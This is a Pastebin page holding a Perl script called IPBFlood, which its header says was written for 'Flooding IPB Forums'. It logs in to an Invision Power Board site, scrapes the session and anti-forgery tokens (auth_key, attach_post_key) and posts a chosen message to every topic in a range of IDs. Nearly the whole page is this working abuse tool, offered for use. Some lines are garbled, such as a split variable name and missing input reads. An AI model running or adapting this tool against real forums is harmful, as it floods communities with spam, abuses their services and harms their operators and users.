Guest User

Untitled

a guest
Dec 25th, 2017
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.43 KB | None | 0 0
  1. #----------------------------
  2. # this programe has been #
  3. # created by NikTrix-Souvico #
  4. # [ 'HellSoft' ] for #
  5. # Flooding IPB Forums #
  6. #----------------------------
  7.  
  8. #!/usr/bin/perl -w
  9. use strict;
  10. use LWP::UserAgent;
  11. use HTTP::Cookies;
  12.  
  13. #Variables
  14. my $url = undef;
  15. my $login = "act=Login&CODE=01";
  16. my $UserName = undef;
  17. my $PassWord = undef;
  18. my $CookieDate = 1;
  19. my $SID = undef;
  20. my $SE = undef;
  21. my $MSG = undef;
  22.  
  23. #Prototype
  24. sub IPBFlood($);
  25.  
  26. #Main
  27. print "\t\tWelcome to IPBFlood 0.1x By Souvik\t\t[ 'NikTrix' ]Team";
  28.  
  29. print "Url\t: ";chomp($url=);
  30. print "UserName\t: ";chomp($UserName=);
  31. print "Password\t: ";chomp($PassWord=);
  32. print "Start [to] End\t: ";chomp($SE=);
  33. print "Message\t: ";chomp($MSG=);
  34.  
  35. my $ua = LWP::UserAgent->new;
  36. $ua->agent("Mozilla/4.0");
  37. my $cj = HTTP::Cookies->new(file => "N/A" , autosave => 0);
  38. $ua->cookie_jar($cj);
  39.  
  40. #-get SID
  41. my $r = $ua->get($url);
  42. if($r->is_success){
  43. #Find SID ?
  44. ($SID) = $r->content =~/\?s=(\w{32})&.*/i;
  45. print "SID : $SID";
  46. }
  47.  
  48. #-Connecting ...
  49. $r = $ua->post($url.$login,[UserName=> $UserName ,PassWord => $PassWord ,CookieDate =>$CookieDate , s => $SID]);
  50. if($r->is_success){
  51. print "[+] Connected" if($r->content =~ /cliquez ici si vous ne souhaitez pas/gi);
  52. my($Start , $End) = split(/-/,$SE);
  53. foreach($Start..$End){
  54. IPBFlood($_);
  55. }
  56. }
  57.  
  58. #Subroutines
  59. sub IPBFlood($){
  60. my $Topic = shift;
  61. my $get = $ua->get($url."s=$SID&showtopic=$Topic");
  62. if($get->is_success){
  63. #Get Subforum ID "f" : variable !
  64. if( my ($f) = $get->content =~/f=(\d{1,4})/ ){
  65. print "[-]Subforum ID : $f & Topic N : $Topic";
  66. #Get Post AuthKey for Subforum f=N°
  67. $get = $ua->get($url."s=$SID&act=post&do=reply_post&f=$f&t=$T opic");
  68. # act=post&do=reply_post&f=56&t=43988
  69. if($get->is_success){
  70. ##auth_key Ex :
  71. my ( $auth_key ) = $get->content =~/auth_key.*(\w{32})/i;
  72. #attach_post_key Ex :
  73. my ( $attach_post_key ) = $get->content =~/attach_post_key.*(\w{32})/i;
  74. print "[-]auth_key : $auth_key[-]attach_post_key : $attach_post_key";
  75.  
  76.  
  77. my %form =(st => 0,
  78. act => "Post",
  79. s => "$SID",
  80. f => "$f",
  81. auth_key => "$auth_key",
  82. removeattachid => "0",
  83. CODE => "03",
  84. t => "$Topic",
  85. attach_post_key => "$attach_post_key",
  86. parent_id => "0",
  87. "ed-0_wysiwyg_used"=> "0",
  88. "editor_ids%5B%5D" => "ed-0",
  89. Post => "$MSG",
  90. enableemo => "yes",
  91. enablesig => "yes",
  92. iconid => "0"
  93. );
  94. $r = $ua->post($url."s=$SID",\%form);
  95. if($r->is_success){
  96. print "Send success !" if( length($r->content)< 300);
  97. }
  98. }
  99. }
  100. }
  101. }
Add Comment
Please, Sign In to add comment